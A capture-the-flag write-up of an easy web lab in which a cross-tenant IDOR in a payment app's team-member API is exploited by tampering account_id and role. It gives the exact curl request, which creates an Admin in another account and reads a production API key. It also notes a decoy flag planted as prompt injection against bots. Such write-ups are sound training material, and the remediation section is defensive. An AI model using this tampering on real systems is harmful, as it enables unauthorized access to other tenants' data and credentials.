Lab 99 — CashPilot — IDOR in Team Member Management
Lab 99 — CashPilot — IDOR in Team Member Management
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-26 | Status: Solved Techniques: idor_exploitation, parameter_tampering, privilege_escalation, sensitive_data_extraction
Summary
Task: CashPilot team management API lets admins invite users with account and role fields in the request body. Solution: tamper account_id from 2 to 1 and create an Admin user in the target account, then read the production API key.
Lab 99 — CashPilot — IDOR in Team Member Management — HackAdvisor
Description
CashPilot is a business payment management platform built by Pilot Financial Inc. It allows companies to manage transactions, invite team members with role-based access, and generate API keys for integrating payment workflows. Each business account can have multiple team members with Admin/Manager/Viewer roles. Goal: exploit team management to gain unauthorized access to a different business account's sensitive data. Hint: Pay close attention to how the Team Management page adds new members and what data is sent in the request body.
English summary: CashPilot is a multi-tenant payment management platform. Starting with an Admin account for Acme Corp, the goal is to abuse team member management and access sensitive data belonging to another business account.
Summary
The challenge is a classic multi-tenant broken access control issue. The team member creation API trusts account_id and role values supplied by the browser, so an authenticated admin for account #2 can create an admin user in account #1.
After logging in as the newly created account-1 admin, the /settings page exposes a production API key whose secret value is the flag. A fake flag found in unauthenticated 404 HTML was ignored because it was prompt-injection/anti-bot decoy content, not data reachable through the intended application vulnerability.
Recon
Unauthenticated requests redirected to /login, confirming that most useful pages required a session. The 404 pages contained the fake decoy flag:
text read-only • copy allowedFLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
This was not accepted as the real solution and was treated as anti-bot/prompt-injection content embedded in HTML.
Login used the provided credentials:
http read-only • copy allowedPOST /login Content-Type: application/x-www-form-urlencoded email=user%40acme.com&password=password123
The authenticated dashboard showed:
- Current business:
Acme Corp - Account ID:
#2 - Current user:
Jordan Blake / user@acme.com
On /team, the Add Member modal included a hidden account field:
html read-only • copy allowed<input type="hidden" id="accountId" name="account_id" value="2">
Fetching /js/team.js showed how new team members are created:
javascript read-only • copy allowedfetch('/api/v1/team/members', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ account_id: document.getElementById('accountId').value, email, name, password, role }) })
Both the target account_id and assigned role are controlled by the client.
Vulnerability
The root cause is an IDOR / broken access control flaw in POST /api/v1/team/members.
The server accepts account_id from the JSON body instead of deriving it from the authenticated session or checking that the current user can manage the target account. It also accepts a client-supplied role, allowing the attacker to assign Admin privileges in another tenant.
Expected behavior:
- The server should determine the manageable account from the session or an authorization-checked route parameter.
- The server should verify that the authenticated user is authorized to add members to that account.
- The server should validate that the requested role is allowed for the current actor.
Actual behavior:
- An Admin of Acme Corp account
#2can create an Admin user in Pilot Financial account#1.
Exploitation
While authenticated as user@acme.com, send the normal team-member creation request but change account_id from 2 to 1 and request the Admin role:
bash read-only • copy allowedcurl -i -s -b cookies.txt \ "https://3f0fb49f-50f3-4898-aa61-f5ba7b695633.labs.hackadvisor.io/api/v1/team/members" \ -H "Content-Type: application/json" \ --data '{"account_id":"1","email":"attacker1766952427@example.com","name":"Eve Admin","password":"password123","role":"Admin"}'
The server confirms the cross-account user creation:
json read-only • copy allowed{"success":true,"message":"Team member added successfully"}
Then log in as the newly created user:
text read-only • copy allowedEmail: attacker1766952427@example.com Password: password123
The dashboard now shows access to the target business:
- Business:
Pilot Financial Admin - Account ID:
#1 - Plan:
Enterprise Plan
Opening /settings as this account-1 admin reveals the API Keys table. The Production API Key entry has a Secret Key equal to the flag.
Remediation
- Do not trust
account_idfrom the client for team-management operations; derive the tenant from the authenticated session or a server-side authorization context. - Enforce object-level authorization on
POST /api/v1/team/members: the current user must be allowed to manage the exact target account. - Enforce role-assignment rules server-side, especially for privileged roles such as
Admin. - Add tenant-isolation tests for all account-scoped APIs.
- Log and alert on attempts to create users in accounts not associated with the current session.